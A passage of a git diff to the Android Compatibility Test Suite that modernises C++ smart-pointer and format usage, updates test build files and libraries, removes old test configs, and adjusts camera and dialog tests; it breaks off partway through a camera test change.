diff --git a/suite/audio_quality/test/BufferTest.cpp b/suite/audio_quality/test/BufferTest.cpp
index 2c7b20e..5e315977 100644
--- a/suite/audio_quality/test/BufferTest.cpp
+++ b/suite/audio_quality/test/BufferTest.cpp
@@ -17,7 +17,7 @@
 #include <stdint.h>
 #include <gtest/gtest.h>
 
-#include <UniquePtr.h>
+#include <memory>
 
 #include "audio/Buffer.h"
 
@@ -38,7 +38,7 @@
 TEST_F(BufferTest, saveLoadStereoTest) {
     const int BUFFER_SIZE = 32;
 
-    UniquePtr<Buffer> buffer(new Buffer(BUFFER_SIZE, BUFFER_SIZE, true));
+    std::unique_ptr<Buffer> buffer(new Buffer(BUFFER_SIZE, BUFFER_SIZE, true));
     ASSERT_TRUE(buffer.get() != NULL);
     int16_t* data = (int16_t*)buffer->getData();
     ASSERT_TRUE(data != NULL);
@@ -49,7 +49,7 @@
     android::String8 file("/tmp/cts_audio_temp");
     ASSERT_TRUE(buffer->saveToFile(file));
     file.append(".r2s");
-    UniquePtr<Buffer> bufferRead(Buffer::loadFromFile(file));
+    std::unique_ptr<Buffer> bufferRead(Buffer::loadFromFile(file));
     ASSERT_TRUE(bufferRead.get() != NULL);
     ASSERT_TRUE(bufferRead->getSize() == (size_t)BUFFER_SIZE);
     ASSERT_TRUE(bufferRead->isStereo());
@@ -63,14 +63,14 @@
 TEST_F(BufferTest, monoLTest) {
     const int BUFFER_SIZE = 8;
 
-    UniquePtr<Buffer> buffer(new Buffer(BUFFER_SIZE, BUFFER_SIZE, true));
+    std::unique_ptr<Buffer> buffer(new Buffer(BUFFER_SIZE, BUFFER_SIZE, true));
     ASSERT_TRUE(buffer.get() != NULL);
     int16_t* data = (int16_t*)buffer->getData();
     ASSERT_TRUE(data != NULL);
     for (int i = 0; i < BUFFER_SIZE/2; i++) {
         data[i] = i;
     }
-    UniquePtr<Buffer> bufferl(new Buffer(BUFFER_SIZE/2, BUFFER_SIZE/2, false));
+    std::unique_ptr<Buffer> bufferl(new Buffer(BUFFER_SIZE/2, BUFFER_SIZE/2, false));
     ASSERT_TRUE(bufferl.get() != NULL);
     data = (int16_t*)bufferl->getData();
     ASSERT_TRUE(data != NULL);
diff --git a/suite/audio_quality/test/FileUtilTest.cpp b/suite/audio_quality/test/FileUtilTest.cpp
index d79b2aa..990d7b9 100644
--- a/suite/audio_quality/test/FileUtilTest.cpp
+++ b/suite/audio_quality/test/FileUtilTest.cpp
@@ -17,8 +17,6 @@
 #include <stdint.h>
 #include <gtest/gtest.h>
 
-#include <UniquePtr.h>
-
 #include "Log.h"
 #include "FileUtil.h"
 
diff --git a/suite/audio_quality/test/LogTest.cpp b/suite/audio_quality/test/LogTest.cpp
index 421b904..51cde10 100644
--- a/suite/audio_quality/test/LogTest.cpp
+++ b/suite/audio_quality/test/LogTest.cpp
@@ -14,11 +14,10 @@
  * the License.
  */
 
+#include <inttypes.h>
 #include <stdint.h>
 #include <gtest/gtest.h>
 
-#include <UniquePtr.h>
-
 #include "Log.h"
 
 
@@ -48,12 +47,14 @@
     int64_t d = 3;
     int64_t e = 4;
     int64_t f = 5;
-    printf("printf %lld %lld %lld %lld %lld %lld\n", a, b, c, d, e, f);
-    LOGD(  "logd   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGV(  "logv   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGI(  "logi   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGW(  "logw   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGE(  "loge   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
+#define PrintABCDEF "%" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 \
+    " %" PRId64
+    printf("printf " PrintABCDEF "\n", a, b, c, d, e, f);
+    LOGD(  "logd   " PrintABCDEF, a, b, c, d, e, f);
+    LOGV(  "logv   " PrintABCDEF, a, b, c, d, e, f);
+    LOGI(  "logi   " PrintABCDEF, a, b, c, d, e, f);
+    LOGW(  "logw   " PrintABCDEF, a, b, c, d, e, f);
+    LOGE(  "loge   " PrintABCDEF, a, b, c, d, e, f);
 
     Log::Instance()->setLogLevel(level);
 }
diff --git a/suite/audio_quality/test/MixerTest.cpp b/suite/audio_quality/test/MixerTest.cpp
index 96c23ed..413c3ce 100644
--- a/suite/audio_quality/test/MixerTest.cpp
+++ b/suite/audio_quality/test/MixerTest.cpp
@@ -16,7 +16,6 @@
 #include <stdint.h>
 #include <gtest/gtest.h>
 
-#include <UniquePtr.h>
 #include <tinyalsa/asoundlib.h>
 #include <Log.h>
 #include <audio/AudioHardware.h>
diff --git a/suite/audio_quality/test/TaskTest.cpp b/suite/audio_quality/test/TaskTest.cpp
index b003d99..3636f82 100644
--- a/suite/audio_quality/test/TaskTest.cpp
+++ b/suite/audio_quality/test/TaskTest.cpp
@@ -37,7 +37,7 @@
         static int mRunCounter;
         static int mLiveInstanceCounter;
 
-        TestTaskDummy(TaskGeneric::TaskType type)
+        explicit TestTaskDummy(TaskGeneric::TaskType type)
             : TaskGeneric(type) {
             mLiveInstanceCounter++;
 
diff --git a/tests/ProcessTest/Android.mk b/tests/ProcessTest/Android.mk
index 5611b3b..4baefc8 100644
--- a/tests/ProcessTest/Android.mk
+++ b/tests/ProcessTest/Android.mk
@@ -29,6 +29,8 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index c70047017..d05ff7c 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -24,7 +24,8 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner compatibility-device-util legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java b/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
index 94089cc..db12db5 100644
--- a/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
+++ b/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
@@ -18,6 +18,8 @@
 
 import android.acceleration.HardwareAcceleratedActivity;
 
+import com.android.compatibility.common.util.VendorInterfaceTest;
+
 /**
  * Test that uses an Activity with hardware acceleration enabled.
  */
@@ -28,6 +30,7 @@
         super(HardwareAcceleratedActivity.class);
     }
 
+    @VendorInterfaceTest
     public void testIsHardwareAccelerated() {
         // Hardware acceleration should be available on devices with GL ES 2 or higher...
         if (getGlEsVersion(mActivity) >= 2) {
diff --git a/tests/acceleration/src/android/acceleration/cts/SoftwareAccelerationTest.java b/tests/acceleration/src/android/acceleration/cts/SoftwareAccelerationTest.java
index 4e12c1e..9ece4e9 100644
--- a/tests/acceleration/src/android/acceleration/cts/SoftwareAccelerationTest.java
+++ b/tests/acceleration/src/android/acceleration/cts/SoftwareAccelerationTest.java
@@ -18,6 +18,8 @@
 
 import android.acceleration.SoftwareAcceleratedActivity;
 
+import com.android.compatibility.common.util.VendorInterfaceTest;
+
 /**
  * Test that uses an Activity with hardware acceleration explicitly disabled
  * and makes sure that all views are rendered using software acceleration.
@@ -35,6 +37,7 @@
         mActivity = getActivity();
     }
 
+    @VendorInterfaceTest
     public void testIsHardwareAccelerated() {
         // Both of the views are not attached to a hardware accelerated window
         assertFalse(mHardwareView.isHardwareAccelerated());
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index aee708c..54557ee 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -18,7 +18,10 @@
 
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner mockito-target
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	ctstestrunner \
+	mockito-target \
+	legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index 60b7aeb..74bfc70 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -32,8 +32,6 @@
 
 LOCAL_INSTRUMENTATION_FOR := CtsAdminApp
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/admin/OldAndroidTest.xml b/tests/admin/OldAndroidTest.xml
deleted file mode 100644
index 0cfada8..0000000
--- a/tests/admin/OldAndroidTest.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="CTS device admin test config">
-    <include name="common-config" />
-    <option name="run-command:run-command" value="dpm set-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver" />
-    <option name="run-command:run-command" value="dpm set-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver2" />
-</configuration>
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index aac8a89..66a183a 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_JAVA_LIBRARIES := guava
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index 775e679..d62ee46 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -34,8 +34,6 @@
 
 LOCAL_INSTRUMENTATION_FOR := CtsAppTestStubs
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/app/OldAndroidTest.xml b/tests/app/OldAndroidTest.xml
deleted file mode 100644
index 01ebbcb..0000000
--- a/tests/app/OldAndroidTest.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Base config for CTS package preparer">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsSimpleApp.apk" />
-</configuration>
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 24b5c5c..d28881e 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -25,7 +25,12 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common voip-common org.apache.http.legacy
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner ctstestserver mockito-target
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctsdeviceutil \
+    ctstestrunner \
+    ctstestserver \
+    mockito-target \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
               src/android/app/stubs/ISecondary.aidl
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index b5460a6..c9ba25f 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -55,15 +55,6 @@
 
         <activity android:name="android.app.stubs.ActionBarActivity" />
 
-        <activity android:name="android.app.stubs.DialogStubActivity"
-            android:label="DialogStubActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
         <activity android:name="android.app.stubs.MockActivity" android:label="MockActivity">
             <meta-data android:name="android.app.alias"
                 android:resource="@xml/alias" />
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index f3b9977..4ff3fcb 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -17,14 +17,11 @@
 package android.app.stubs;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.pm.ActivityInfo;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-
-import static org.junit.Assert.assertTrue;
 
 public class OrientationTestUtils {
+
     /**
      * Change the activity's orientation to something different and then switch back. This is used
      * to trigger {@link Activity#onConfigurationChanged(android.content.res.Configuration)}.
@@ -32,64 +29,31 @@
      * @param activity whose orientation will be changed and restored
      */
     public static void toggleOrientation(Activity activity) {
-        final int[] orientations = getOrientations(activity);
-        activity.setRequestedOrientation(orientations[1]);
-        activity.setRequestedOrientation(orientations[0]);
+        toggleOrientationSync(activity, null);
     }
 
     /**
-     * Returns original orientation and toggled orientation.
-     * @param activity whose orienetaion will be returned
-     * @return The first element is original orientation adn the second element is toggled
-     *     orientation.
+     * Same as {@link #toggleOrientation(Activity)} except {@link Instrumentation#waitForIdleSync()}
+     * is called after each orientation change.
+     *
+     * @param activity whose orientation will be changed and restored
+     * @param instrumentation use for idle syncing
      */
-    private static int[] getOrientations(final Activity activity) {
+    public static void toggleOrientationSync(final Activity activity,
+            final Instrumentation instrumentation) {
         final int originalOrientation = activity.getResources().getConfiguration().orientation;
         final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
-            ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
-            : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
-        return new int[] { originalOrientation, newOrientation };
+                ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+                : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+        changeOrientation(activity, instrumentation, newOrientation);
+        changeOrientation(activity, instrumentation, originalOrientation);
     }
 
-    /**
-     * Observer used in stub activities to wait for some event.
-     */
-    public static class Observer {
-        private static final int TIMEOUT_SEC = 3;
-        private final AtomicReference<CountDownLatch> mLatch = new AtomicReference();
-
-        /**
-         * Starts observing event.
-         * The returned CountDownLatch will get activated when onObserved is invoked after this
-         * call. The method cannot be called multiple times unless reset() is invoked.
-         * @return CountDownLatch will get activated when onObserved is invoked after this call.
-         */
-        public void startObserving() {
-            final CountDownLatch latch = new CountDownLatch(1);
-            assertTrue(mLatch.compareAndSet(null, latch));
-        }
-
-        /**
-         * Waits until onObserved is invoked.
-         */
-        public void await() throws InterruptedException {
-            try {
-                assertTrue(mLatch.get().await(TIMEOUT_SEC, TimeUnit.SECONDS));
-            } finally {
-                mLatch.set(null);
-            }
-        }
-
-        /**
-         * Notifies an event is observed.
-         * If this method is invoked after startObserving, the returned CountDownLatch will get
-         * activated. Otherwise it does nothing.
-         */
-        public void onObserved() {
-            final CountDownLatch latch = mLatch.get();
-            if (latch != null) {
-                latch.countDown();
-            }
+    private static void changeOrientation(final Activity activity,
+            Instrumentation instrumentation, final int orientation) {
+        activity.setRequestedOrientation(orientation);
+        if (instrumentation != null) {
+            instrumentation.waitForIdleSync();
         }
     }
 }
diff --git a/tests/app/app/src/android/app/stubs/TestDialog.java b/tests/app/app/src/android/app/stubs/TestDialog.java
index 18ef3be..e404e65 100644
--- a/tests/app/app/src/android/app/stubs/TestDialog.java
+++ b/tests/app/app/src/android/app/stubs/TestDialog.java
@@ -50,10 +50,8 @@
     public boolean isOnKeyDownCalled;
     public boolean isOnKeyUpCalled;
     public boolean isOnKeyMultipleCalled;
-    public final OrientationTestUtils.Observer onSaveInstanceStateObserver =
-            new OrientationTestUtils.Observer();
-    public final static OrientationTestUtils.Observer onRestoreInstanceStateObserver =
-            new OrientationTestUtils.Observer();
+    public boolean isOnSaveInstanceStateCalled;
+    public static boolean isOnRestoreInstanceStateCalled;
     public boolean isOnWindowAttributesChangedCalled;
     public boolean isOnCreatePanelMenuCalled;
     public boolean isOnCreatePanelViewCalled;
@@ -169,15 +167,16 @@
 
     @Override
     public Bundle onSaveInstanceState() {
+        isOnSaveInstanceStateCalled = true;
         saveInstanceState = super.onSaveInstanceState();
-        onSaveInstanceStateObserver.onObserved();
         return saveInstanceState;
     }
 
     @Override
     public void onRestoreInstanceState(Bundle savedInstanceState) {
+        isOnRestoreInstanceStateCalled = true;
         this.savedInstanceState = savedInstanceState;
-        onRestoreInstanceStateObserver.onObserved();
+
         super.onRestoreInstanceState(savedInstanceState);
     }
 
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index 17f7a40..fa22ce4 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -209,10 +209,13 @@
         assertFalse(d.isShowing());
     }
 
-    public void testOnSaveInstanceState() throws InterruptedException {
+    public void testOnSaveInstanceState() {
         startDialogActivity(DialogStubActivity.TEST_ONSTART_AND_ONSTOP);
         final TestDialog d = (TestDialog) mActivity.getDialog();
 
+        assertFalse(d.isOnSaveInstanceStateCalled);
+        assertFalse(TestDialog.isOnRestoreInstanceStateCalled);
+
         //skip if the device doesn't support both of portrait and landscape orientation screens.
         final PackageManager pm = mContext.getPackageManager();
         if(!(pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
@@ -220,11 +223,10 @@
             return;
         }
 
-        d.onSaveInstanceStateObserver.startObserving();
-        TestDialog.onRestoreInstanceStateObserver.startObserving();
-        OrientationTestUtils.toggleOrientation(mActivity);
-        d.onSaveInstanceStateObserver.await();
-        TestDialog.onRestoreInstanceStateObserver.await();
+        OrientationTestUtils.toggleOrientationSync(mActivity, mInstrumentation);
+
+        assertTrue(d.isOnSaveInstanceStateCalled);
+        assertTrue(TestDialog.isOnRestoreInstanceStateCalled);
     }
 
     public void testGetCurrentFocus() throws Throwable {
diff --git a/tests/aslr/Android.mk b/tests/aslr/Android.mk
index ebee2a8..6ad636b 100644
--- a/tests/aslr/Android.mk
+++ b/tests/aslr/Android.mk
@@ -14,20 +14,13 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-test_executable := CtsAslrMallocTestCases
-list_executable := $(test_executable)_list
-
 include $(CLEAR_VARS)
-LOCAL_MODULE:= $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE:= CtsAslrMallocTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_C_INCLUDES := \
-    external/gtest/include
-
 LOCAL_SRC_FILES := \
     src/AslrMallocTest.cpp
 
@@ -43,20 +36,3 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 include $(BUILD_CTS_EXECUTABLE)
-
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    src/AslrMallocTest.cpp
-
-LOCAL_CFLAGS := \
-    -DBUILD_ONLY \
-
-LOCAL_SHARED_LIBRARIES := \
-    liblog
-
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/aslr/src/AslrMallocTest.cpp b/tests/aslr/src/AslrMallocTest.cpp
index 6e773cb..9259841 100644
--- a/tests/aslr/src/AslrMallocTest.cpp
+++ b/tests/aslr/src/AslrMallocTest.cpp
@@ -17,7 +17,6 @@
 #define LOG_NDEBUG 0
 #define LOG_TAG "AslrMallocTest"
 
-#if !defined(BUILD_ONLY)
 #include <android-base/file.h>
 #include <android-base/parseint.h>
 #include <android-base/stringprintf.h>
@@ -30,7 +29,6 @@
 #include <sys/wait.h>
 #include <unistd.h>
 #include <unordered_set>
-#endif
 
 #include <gtest/gtest.h>
 #include <string>
@@ -50,7 +48,6 @@
  * performs malloc(size) and prints out the address */
 static const std::string argPrint = "--print-malloc-address";
 
-#if !defined(BUILD_ONLY)
 class AslrMallocTest : public ::testing::Test
 {
 protected:
@@ -135,13 +132,6 @@
         }
     }
 };
-#else /* defined(BUILD_ONLY) */
-class AslrMallocTest : public ::testing::Test
-{
-protected:
-    void TestRandomization() {}
-};
-#endif
 
 TEST_F(AslrMallocTest, testMallocRandomization) {
     TestRandomization();
@@ -149,7 +139,6 @@
 
 int main(int argc, char **argv)
 {
-#if !defined(BUILD_ONLY)
     if (argc == 3 && argPrint == argv[1]) {
         size_t size;
 
@@ -160,7 +149,6 @@
         printf("%p", malloc(size));
         return EXIT_SUCCESS;
     }
-#endif
 
     testing::InitGoogleTest(&argc, argv);
     return RUN_ALL_TESTS();
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index 2a7485a..a2de68b 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -34,8 +34,6 @@
 
 LOCAL_SDK_VERSION := test_current
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/backup/OldAndroidTest.xml b/tests/backup/OldAndroidTest.xml
deleted file mode 100644
index fd0881f..0000000
--- a/tests/backup/OldAndroidTest.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2016 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<configuration description="Config for CTS Backup test cases">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsBackupApp.apk" />
-</configuration>
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 4065bfb..48550f6 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -32,6 +32,8 @@
 	libctscamera2_jni \
 	libnativehelper_compat_libc++
 
+LOCAL_NDK_STL_VARIANT := c++_shared
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
 
 # Tag this module as a cts test artifact
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index 34b116f..0f53255 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -21,7 +21,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.camera.cts" />
         <option name="runtime-hint" value="12m7s" />
-        <!-- test-timeout unit is ms, value = 200 min -->
-        <option name="test-timeout" value="12000000" />
+        <!-- test-timeout unit is ms, value = 60 min -->
+        <option name="test-timeout" value="3600000" />
     </test>
 </configuration>
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index eac42f5..e6a078f 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -27,8 +27,6 @@
 LOCAL_C_INCLUDES := \
 	$(JNI_H_INCLUDE) \
 	system/core/include \
-	frameworks/av/include/camera/ndk \
-	frameworks/av/include/ndk \
 
 # Flags needed by DNG SDK
 LOCAL_CFLAGS := -DUNIX_ENV=1 -DqDNGBigEndian=0 -DqDNGThreadSafe=1 -DqDNGUseLibJPEG=1 -DqDNGUseXMP=0 -DqDNGValidate=1 -DqDNGValidateTarget=1 -DqAndroid=1 -fexceptions -Wsign-compare -Wno-reorder -Wframe-larger-than=20000
@@ -36,18 +34,16 @@
 # Flags to avoid warnings from DNG SDK
 LOCAL_CFLAGS += -Wno-unused-parameter
 
-LOCAL_STATIC_LIBRARIES := libdng_sdk_validate libjpeg_static libz
+LOCAL_STATIC_LIBRARIES := libdng_sdk_validate libjpeg_static_ndk
 LOCAL_SHARED_LIBRARIES := libandroid \
     libnativehelper_compat_libc++ \
     liblog \
     libcamera2ndk \
-    libmediandk
+    libmediandk \
+    libz \
 
 # NDK build, shared C++ runtime
-#LOCAL_SDK_VERSION := current
-#LOCAL_NDK_STL_VARIANT := c++_shared
-
-# Temporary workaround until camera2 NDK is active. See b/27102995.
-LOCAL_CXX_STL := libc++_static
+LOCAL_SDK_VERSION := 24
+LOCAL_NDK_STL_VARIANT := c++_shared
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 5b75bf2..cfd808a 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -29,12 +29,12 @@
 
 #include <android/native_window_jni.h>
 
-#include "NdkCameraError.h"
-#include "NdkCameraManager.h"
-#include "NdkCameraDevice.h"
-#include "NdkCameraCaptureSession.h"
-#include "NdkImage.h"
-#include "NdkImageReader.h"
+#include "camera/NdkCameraError.h"
+#include "camera/NdkCameraManager.h"
+#include "camera/NdkCameraDevice.h"
+#include "camera/NdkCameraCaptureSession.h"
+#include "media/NdkImage.h"
+#include "media/NdkImageReader.h"
 
 #define LOG_ERROR(buf, ...) sprintf(buf, __VA_ARGS__); \
                             ALOGE("%s", buf);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 6861989..5ab9754 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -48,7 +48,7 @@
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 import com.android.ex.camera2.utils.StateWaiter;
 
-import org.mockito.ArgumentMatcher;
+import org.mockito.compat.ArgumentMatcher;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -988,7 +988,7 @@
     private class IsCaptureResultNotEmpty
             extends ArgumentMatcher<TotalCaptureResult> {
         @Override
-        public boolean matches(Object obj) {
+        public boolean matchesObject(Object obj) {
             /**
              * Do the simple verification here. Only verify the timestamp for now.
              * TODO: verify more required capture result metadata fields.
diff --git a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
index 44b13c3..3ab1030 100644
--- a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
@@ -87,7 +87,7 @@
                     times(1)).onTorchModeChanged(id, true);
             verify(torchListener, timeout(TORCH_TIMEOUT_MS).
                     times(1)).onTorchModeChanged(anyString(), eq(true));
-            verify(torchListener, timeout(TORCH_TIMEOUT_MS).never()).
+            verify(torchListener, after(TORCH_TIMEOUT_MS).never()).
                     onTorchModeUnavailable(anyString());
 
             mCameraManager.unregisterTorchCallback(torchListener);
@@ -142,9 +142,9 @@
         verify(torchListener, timeout(TORCH_TIMEOUT_MS).
                 times(NUM_REGISTERS * mFlashCameraIdList.size())).
                 onTorchModeChanged(anyString(), eq(false));
-        verify(torchListener, timeout(TORCH_TIMEOUT_MS).never()).
+        verify(torchListener, after(TORCH_TIMEOUT_MS).never()).
                 onTorchModeChanged(anyString(), eq(true));
-        verify(torchListener, timeout(TORCH_TIMEOUT_MS).never()).
+        verify(torchListener, after(TORCH_TIMEOUT_MS).never()).
                 onTorchModeUnavailable(anyString());
 
         // verify passing a null handler will raise IllegalArgumentException
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 8d3c5d4..91bd646 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -40,7 +40,7 @@
 import android.util.Range;
 
 import org.mockito.ArgumentCaptor;
-import org.mockito.ArgumentMatcher;
+import org.mockito.compat.ArgumentMatcher;
 
 import static org.mockito.Mockito.*;
 
@@ -653,7 +653,7 @@
 
     private class IsCaptureResultValid extends ArgumentMatcher<TotalCaptureResult> {
         @Override
-        public boolean matches(Object obj) {
